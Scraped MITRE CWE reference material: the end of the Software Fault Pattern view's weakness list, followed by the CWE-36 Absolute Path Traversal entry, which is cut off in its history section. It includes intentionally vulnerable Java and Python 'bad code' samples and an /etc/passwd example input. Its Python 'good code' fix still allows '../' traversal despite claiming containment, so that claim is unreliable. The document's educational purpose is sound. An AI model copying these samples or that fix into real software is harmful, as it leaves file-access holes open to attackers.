888 (Software Fault Pattern (SFP) Clusters) > 907 (SFP Primary Cluster: Other) > 977 (SFP Secondary Cluster: Design) > 187 (Partial String Comparison)
The product performs a comparison that only examines a portion of a factor before determining whether there is a match, such as a substring, leading to resultant weaknesses.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Reliance on Data/Memory Layout - (188)
888 (Software Fault Pattern (SFP) Clusters) > 907 (SFP Primary Cluster: Other) > 977 (SFP Secondary Cluster: Design) > 188 (Reliance on Data/Memory Layout)
The product makes invalid assumptions about how protocol data or memory is organized at a lower level, resulting in unintended program behavior.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Off-by-one Error - (193)
888 (Software Fault Pattern (SFP) Clusters) > 907 (SFP Primary Cluster: Other) > 977 (SFP Secondary Cluster: Design) > 193 (Off-by-one Error)
A product calculates or uses an incorrect maximum or minimum value that is 1 more, or 1 less, than the correct value.off-by-five
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Acceptance of Extraneous Untrusted Data With Trusted Data - (349)
888 (Software Fault Pattern (SFP) Clusters) > 907 (SFP Primary Cluster: Other) > 977 (SFP Secondary Cluster: Design) > 349 (Acceptance of Extraneous Untrusted Data With Trusted Data)
The product, when processing trusted data, accepts any untrusted data that is also included with the trusted data, treating the untrusted data as if it were trusted.
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Asymmetric Resource Consumption (Amplification) - (405)
888 (Software Fault Pattern (SFP) Clusters) > 907 (SFP Primary Cluster: Other) > 977 (SFP Secondary Cluster: Design) > 405 (Asymmetric Resource Consumption (Amplification))
The product does not properly control situations in which an adversary can cause the product to consume or produce excessive resources without requiring the adversary to invest equivalent work or otherwise prove authorization, i.e., the adversary's influence is "asymmetric."
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Insufficient Control of Network Message Volume (Network Amplification) - (406)
888 (Software Fault Pattern (SFP) Clusters) > 907 (SFP Primary Cluster: Other) > 977 (SFP Secondary Cluster: Design) > 406 (Insufficient Control of Network Message Volume (Network Amplification))
The product does not sufficiently monitor or control transmitted network traffic volume, so that an actor can cause the product to transmit more traffic than should be allowed for that actor.
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Inefficient Algorithmic Complexity - (407)
888 (Software Fault Pattern (SFP) Clusters) > 907 (SFP Primary Cluster: Other) > 977 (SFP Secondary Cluster: Design) > 407 (Inefficient Algorithmic Complexity)
An algorithm in a product has an inefficient worst-case computational complexity that may be detrimental to system performance and can be triggered by an attacker, typically using crafted manipulations that ensure that the worst case is being reached.Quadratic Complexity
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Incorrect Behavior Order: Early Amplification - (408)
888 (Software Fault Pattern (SFP) Clusters) > 907 (SFP Primary Cluster: Other) > 977 (SFP Secondary Cluster: Design) > 408 (Incorrect Behavior Order: Early Amplification)
The product allows an entity to perform a legitimate but expensive operation before authentication or authorization has taken place.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Improper Handling of Highly Compressed Data (Data Amplification) - (409)
888 (Software Fault Pattern (SFP) Clusters) > 907 (SFP Primary Cluster: Other) > 977 (SFP Secondary Cluster: Design) > 409 (Improper Handling of Highly Compressed Data (Data Amplification))
The product does not handle or incorrectly handles a compressed input with a very high compression ratio that produces a large output.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Insufficient Resource Pool - (410)
888 (Software Fault Pattern (SFP) Clusters) > 907 (SFP Primary Cluster: Other) > 977 (SFP Secondary Cluster: Design) > 410 (Insufficient Resource Pool)
The product's resource pool is not large enough to handle peak demand, which allows an attacker to prevent others from accessing the resource by using a (relatively) large number of requests for resources.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Deployment of Wrong Handler - (430)
888 (Software Fault Pattern (SFP) Clusters) > 907 (SFP Primary Cluster: Other) > 977 (SFP Secondary Cluster: Design) > 430 (Deployment of Wrong Handler)
The wrong "handler" is assigned to process an object.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Duplicate Key in Associative List (Alist) - (462)
888 (Software Fault Pattern (SFP) Clusters) > 907 (SFP Primary Cluster: Other) > 977 (SFP Secondary Cluster: Design) > 462 (Duplicate Key in Associative List (Alist))
Duplicate keys in associative lists can lead to non-unique keys being mistaken for an error.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Deletion of Data Structure Sentinel - (463)
888 (Software Fault Pattern (SFP) Clusters) > 907 (SFP Primary Cluster: Other) > 977 (SFP Secondary Cluster: Design) > 463 (Deletion of Data Structure Sentinel)
The accidental deletion of a data-structure sentinel can cause serious programming logic problems.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Addition of Data Structure Sentinel - (464)
888 (Software Fault Pattern (SFP) Clusters) > 907 (SFP Primary Cluster: Other) > 977 (SFP Secondary Cluster: Design) > 464 (Addition of Data Structure Sentinel)
The accidental addition of a data-structure sentinel can cause serious programming logic problems.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Incorrect Block Delimitation - (483)
888 (Software Fault Pattern (SFP) Clusters) > 907 (SFP Primary Cluster: Other) > 977 (SFP Secondary Cluster: Design) > 483 (Incorrect Block Delimitation)
The code does not explicitly delimit a block that is intended to contain 2 or more statements, creating a logic error.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Object Model Violation: Just One of Equals and Hashcode Defined - (581)
888 (Software Fault Pattern (SFP) Clusters) > 907 (SFP Primary Cluster: Other) > 977 (SFP Secondary Cluster: Design) > 581 (Object Model Violation: Just One of Equals and Hashcode Defined)
The product does not maintain equal hashcodes for equal objects.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Comparison of Object References Instead of Object Contents - (595)
888 (Software Fault Pattern (SFP) Clusters) > 907 (SFP Primary Cluster: Other) > 977 (SFP Secondary Cluster: Design) > 595 (Comparison of Object References Instead of Object Contents)
The product compares object references instead of the contents of the objects themselves, preventing it from detecting equivalent objects.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Exposed Unsafe ActiveX Method - (618)
888 (Software Fault Pattern (SFP) Clusters) > 907 (SFP Primary Cluster: Other) > 977 (SFP Secondary Cluster: Design) > 618 (Exposed Unsafe ActiveX Method)
An ActiveX control is intended for use in a web browser, but it exposes dangerous methods that perform actions that are outside of the browser's security model (e.g. the zone or domain).
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Incorrect Use of Privileged APIs - (648)
888 (Software Fault Pattern (SFP) Clusters) > 907 (SFP Primary Cluster: Other) > 977 (SFP Secondary Cluster: Design) > 648 (Incorrect Use of Privileged APIs)
The product does not conform to the API requirements for a function call that requires extra privileges. This could allow attackers to gain privileges by causing the function to be called incorrectly.
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Always-Incorrect Control Flow Implementation - (670)
888 (Software Fault Pattern (SFP) Clusters) > 907 (SFP Primary Cluster: Other) > 977 (SFP Secondary Cluster: Design) > 670 (Always-Incorrect Control Flow Implementation)
The code contains a control flow path that does not reflect the algorithm that the path is intended to implement, leading to incorrect behavior any time this path is navigated.
*PillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.Incorrect Calculation - (682)
888 (Software Fault Pattern (SFP) Clusters) > 907 (SFP Primary Cluster: Other) > 977 (SFP Secondary Cluster: Design) > 682 (Incorrect Calculation)
The product performs a calculation that generates incorrect or unintended results that are later used in security-critical decisions or resource management.
*PillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.Insufficient Control Flow Management - (691)
888 (Software Fault Pattern (SFP) Clusters) > 907 (SFP Primary Cluster: Other) > 977 (SFP Secondary Cluster: Design) > 691 (Insufficient Control Flow Management)
The code does not sufficiently manage its control flow during execution, creating conditions in which the control flow can be modified in unexpected ways.
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Incorrect Behavior Order - (696)
888 (Software Fault Pattern (SFP) Clusters) > 907 (SFP Primary Cluster: Other) > 977 (SFP Secondary Cluster: Design) > 696 (Incorrect Behavior Order)
The product performs multiple related behaviors, but the behaviors are performed in the wrong order in ways which may produce resultant weaknesses.
*PillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.Incorrect Comparison - (697)
888 (Software Fault Pattern (SFP) Clusters) > 907 (SFP Primary Cluster: Other) > 977 (SFP Secondary Cluster: Design) > 697 (Incorrect Comparison)
The product compares two entities in a security-relevant context, but the comparison is incorrect, which may lead to resultant weaknesses.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Execution After Redirect (EAR) - (698)
888 (Software Fault Pattern (SFP) Clusters) > 907 (SFP Primary Cluster: Other) > 977 (SFP Secondary Cluster: Design) > 698 (Execution After Redirect (EAR))
The web application sends a redirect to another location, but instead of exiting, it executes additional code.Redirect Without Exit
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Incorrect Control Flow Scoping - (705)
888 (Software Fault Pattern (SFP) Clusters) > 907 (SFP Primary Cluster: Other) > 977 (SFP Secondary Cluster: Design) > 705 (Incorrect Control Flow Scoping)
The product does not properly return control flow to the proper location after it has completed a task or detected an unusual condition.
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.SFP Secondary Cluster: Implementation - (978)
888 (Software Fault Pattern (SFP) Clusters) > 907 (SFP Primary Cluster: Other) > 978 (SFP Secondary Cluster: Implementation)
This category identifies Software Fault Patterns (SFPs) within the Implementation cluster.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Improperly Implemented Security Check for Standard - (358)
888 (Software Fault Pattern (SFP) Clusters) > 907 (SFP Primary Cluster: Other) > 978 (SFP Secondary Cluster: Implementation) > 358 (Improperly Implemented Security Check for Standard)
The product does not implement or incorrectly implements one or more security-relevant checks as specified by the design of a standardized algorithm, protocol, or technique.
*CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.7PK - Code Quality - (398)
888 (Software Fault Pattern (SFP) Clusters) > 907 (SFP Primary Cluster: Other) > 978 (SFP Secondary Cluster: Implementation) > 398 (7PK - Code Quality)
This category represents one of the phyla in the Seven Pernicious Kingdoms vulnerability classification. It includes weaknesses that do not directly introduce a weakness or vulnerability, but indicate that the product has not been carefully developed or maintained. According to the authors of the Seven Pernicious Kingdoms, "Poor code quality leads to unpredictable behavior. From a user's perspective that often manifests itself as poor usability. For an adversary it provides an opportunity to stress the system in unexpected ways."
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Unsafe ActiveX Control Marked Safe For Scripting - (623)
888 (Software Fault Pattern (SFP) Clusters) > 907 (SFP Primary Cluster: Other) > 978 (SFP Secondary Cluster: Implementation) > 623 (Unsafe ActiveX Control Marked Safe For Scripting)
An ActiveX control is intended for restricted use, but it has been marked as safe-for-scripting.
*PillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.Improper Adherence to Coding Standards - (710)
888 (Software Fault Pattern (SFP) Clusters) > 907 (SFP Primary Cluster: Other) > 978 (SFP Secondary Cluster: Implementation) > 710 (Improper Adherence to Coding Standards)
The product does not follow certain coding rules for development, which can lead to resultant weaknesses or increase the severity of the associated vulnerabilities.
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.SFP Primary Cluster: Faulty Resource Release - (1237)
888 (Software Fault Pattern (SFP) Clusters) > 1237 (SFP Primary Cluster: Faulty Resource Release)
This category identifies Software Fault Patterns (SFPs) within the Faulty Resource Release cluster (SFP37).
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Double Free - (415)
888 (Software Fault Pattern (SFP) Clusters) > 1237 (SFP Primary Cluster: Faulty Resource Release) > 415 (Double Free)
The product calls free() twice on the same memory address, potentially leading to modification of unexpected memory locations.Double-free
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Mismatched Memory Management Routines - (762)
888 (Software Fault Pattern (SFP) Clusters) > 1237 (SFP Primary Cluster: Faulty Resource Release) > 762 (Mismatched Memory Management Routines)
The product attempts to return a memory resource to the system, but it calls a release function that is not compatible with the function that was originally used to allocate that resource.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Release of Invalid Pointer or Reference - (763)
888 (Software Fault Pattern (SFP) Clusters) > 1237 (SFP Primary Cluster: Faulty Resource Release) > 763 (Release of Invalid Pointer or Reference)
The product attempts to return a memory resource to the system, but it calls the wrong release function or calls the appropriate release function incorrectly.
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.SFP Primary Cluster: Failure to Release Memory - (1238)
888 (Software Fault Pattern (SFP) Clusters) > 1238 (SFP Primary Cluster: Failure to Release Memory)
This category identifies Software Fault Patterns (SFPs) within the Failure to Release Memory cluster (SFP38).
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Missing Release of Memory after Effective Lifetime - (401)
888 (Software Fault Pattern (SFP) Clusters) > 1238 (SFP Primary Cluster: Failure to Release Memory) > 401 (Missing Release of Memory after Effective Lifetime)
The product does not sufficiently track and release allocated memory after it has been used, which slowly consumes remaining memory.Memory Leak
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: View

Rationale:

This entry is a View. Views are not weaknesses and therefore inappropriate to describe the root causes of vulnerabilities.

Comments:

Use this View or other Views to search and navigate for the appropriate weakness.
+ References
[REF-19] Nikolai Mansourov and Djenana Campara. "System Assurance". 7.3, Software fault patterns. 2010-12-06. <https://www.elsevier.com/books/system-assurance/mansourov/978-0-12-381414-2>.
[REF-20] Ben Calloni, Nikolai Mansourov and Djenana Campara. "Task Order 0006: Vulnerability Path Analysis and Demonstration (VPAD). Volume 2 - White Box Definitions of Software Fault Patterns". 2011-12. <https://apps.dtic.mil/docs/citations/ADB381215>.
+ View Metrics
CWEs in this viewTotal CWEs
Weaknesses614out of 938
Categories83out of 374
Views0out of 50
Total697out of1362
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2012-03-22
(CWE 2.2, 2012-05-14)
CWE Content TeamMITRE
+ Contributions
Contribution DateContributorOrganization
2022-07-21Djenana CamparaKDM Analytics
reported gaps and inconsistencies in this view, leading to changes in taxonomy mappings and relationships in some entries
+ Modifications
Modification DateModifierOrganization
2020-02-24CWE Content TeamMITRE
updated References, View_Audience
2020-08-20CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

View Components

A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

CWE-36: Absolute Path Traversal

Weakness ID: 36
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize absolute path sequences such as "/abs/path" that can resolve to a location that is outside of that directory.
+ Extended Description
This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.22Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.37Path Traversal: '/absolute/pathname/here'
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.38Path Traversal: '\absolute\pathname\here'
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.39Path Traversal: 'C:dirname'
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.40Path Traversal: '\\UNC\share\name\' (Windows UNC Share)
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.22Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.22Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity
Confidentiality
Availability

Technical Impact: Execute Unauthorized Code or Commands

The attacker may be able to create or overwrite critical files that are used to execute code, such as programs or libraries.
Integrity

Technical Impact: Modify Files or Directories

The attacker may be able to overwrite or create critical files, such as programs, libraries, or important data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, appending a new account at the end of a password file may allow an attacker to bypass authentication.
Confidentiality

Technical Impact: Read Files or Directories

The attacker may be able read the contents of unexpected files and expose sensitive data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, by reading a password file, the attacker could conduct brute force password guessing attacks in order to break into an account on the system.
Availability

Technical Impact: DoS: Crash, Exit, or Restart

The attacker may be able to overwrite, delete, or corrupt unexpected critical files such as programs, libraries, or important data. This may prevent the product from working at all and in the case of a protection mechanisms such as authentication, it has the potential to lockout every user of the product.
+ Demonstrative Examples

Example 1

In the example below, the path to a dictionary file is read from a system property and used to initialize a File object.

(bad code)
Example Language: Java 
String filename = System.getProperty("com.domain.application.dictionaryFile");
File dictionaryFile = new File(filename);

However, the path is not validated or modified to prevent it from containing relative or absolute path sequences before creating the File object. This allows anyone who can control the system property to determine what file is used. Ideally, the path should be resolved relative to some kind of application or user home directory.

Example 2

This script intends to read a user-supplied file from the current directory. The user inputs the relative path to the file and the script uses Python's os.path.join() function to combine the path to the current working directory with the provided path to the specified file. This results in an absolute path to the desired file. If the file does not exist when the script attempts to read it, an error is printed to the user.

(bad code)
Example Language: Python 
import os
import sys
def main():
filename = sys.argv[1]
path = os.path.join(os.getcwd(), filename)
try:
with open(path, 'r') as f:
file_data = f.read()
except FileNotFoundError as e:
print("Error - file not found")
main()

However, if the user supplies an absolute path, the os.path.join() function will discard the path to the current working directory and use only the absolute path provided. For example, if the current working directory is /home/user/documents, but the user inputs /etc/passwd, os.path.join() will use only /etc/passwd, as it is considered an absolute path. In the above scenario, this would cause the script to access and read the /etc/passwd file.

(good code)
Example Language: Python 
import os
import sys
def main():
filename = sys.argv[1]
path = os.path.normpath(f"{os.getcwd()}{os.sep}{filename}")
try:
with open(path, 'r') as f:
file_data = f.read()
except FileNotFoundError as e:
print("Error - file not found")
main()

The constructed path string uses os.sep to add the appropriate separation character for the given operating system (e.g. '\' or '/') and the call to os.path.normpath() removes any additional slashes that may have been entered - this may occur particularly when using a Windows path. By putting the pieces of the path string together in this fashion, the script avoids a call to os.path.join() and any potential issues that might arise if an absolute path is entered. With this version of the script, if the current working directory is /home/user/documents, and the user inputs /etc/passwd, the resulting path will be /home/user/documents/etc/passwd. The user is therefore contained within the current working directory as intended.

+ Observed Examples
ReferenceDescription
Python package constructs filenames using an unsafe os.path.join call on untrusted input, allowing absolute path traversal because os.path.join resets the pathname to an absolute path that is specified as part of the input.
Multiple FTP clients write arbitrary files via absolute paths in server responses
ZIP file extractor allows full path
Path traversal using absolute pathname
Path traversal using absolute pathname
Path traversal using absolute pathname
Arbitrary files may be overwritten via compressed attachments that specify absolute path names for the decompressed output.
Mail client allows remote attackers to overwrite arbitrary files via an e-mail message containing a uuencoded attachment that specifies the full pathname for the file to be modified.
Remote attackers can read arbitrary files via a full pathname to the target file in config parameter.
Remote attackers can read arbitrary files via an absolute pathname.
Remote attackers can read arbitrary files by specifying the drive letter in the requested URL.
FTP server allows remote attackers to list arbitrary directories by using the "ls" command and including the drive letter name (e.g. C:) in the requested pathname.
FTP server allows remote attackers to list the contents of arbitrary drives via a ls command that includes the drive letter as an argument.
Server allows remote attackers to browse arbitrary directories via a full pathname in the arguments to certain dynamic pages.
Remote attackers can read arbitrary files via an HTTP request whose argument is a filename of the form "C:" (Drive letter), "//absolute/path", or ".." .
FTP server read/access arbitrary files using "C:\" filenames
FTP server allows a remote attacker to retrieve privileged web server system information by specifying arbitrary paths in the UNC format (\\computername\sharename).
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.981SFP Secondary Cluster: Path Traversal
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1404Comprehensive Categorization: File Handling
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERAbsolute Path Traversal
Software Fault PatternsSFP16Path Traversal
+ References
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 9, "Filenames and Paths", Page 503. 1st Edition. Addison Wesley. 2006.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Sean EidemillerCigital
added/updated demonstrative examples
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Description
2010-02-16CWE Content TeamMITRE
updated Demonstrative_Examples
2010-06-21CWE Content TeamMITRE
updated Demonstrative_Examples, Description
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-09-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, Observed_Examples, References, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-01-19CWE Content TeamMITRE
updated Related_Attack_Patterns
2017-11-08CWE Content TeamMITRE
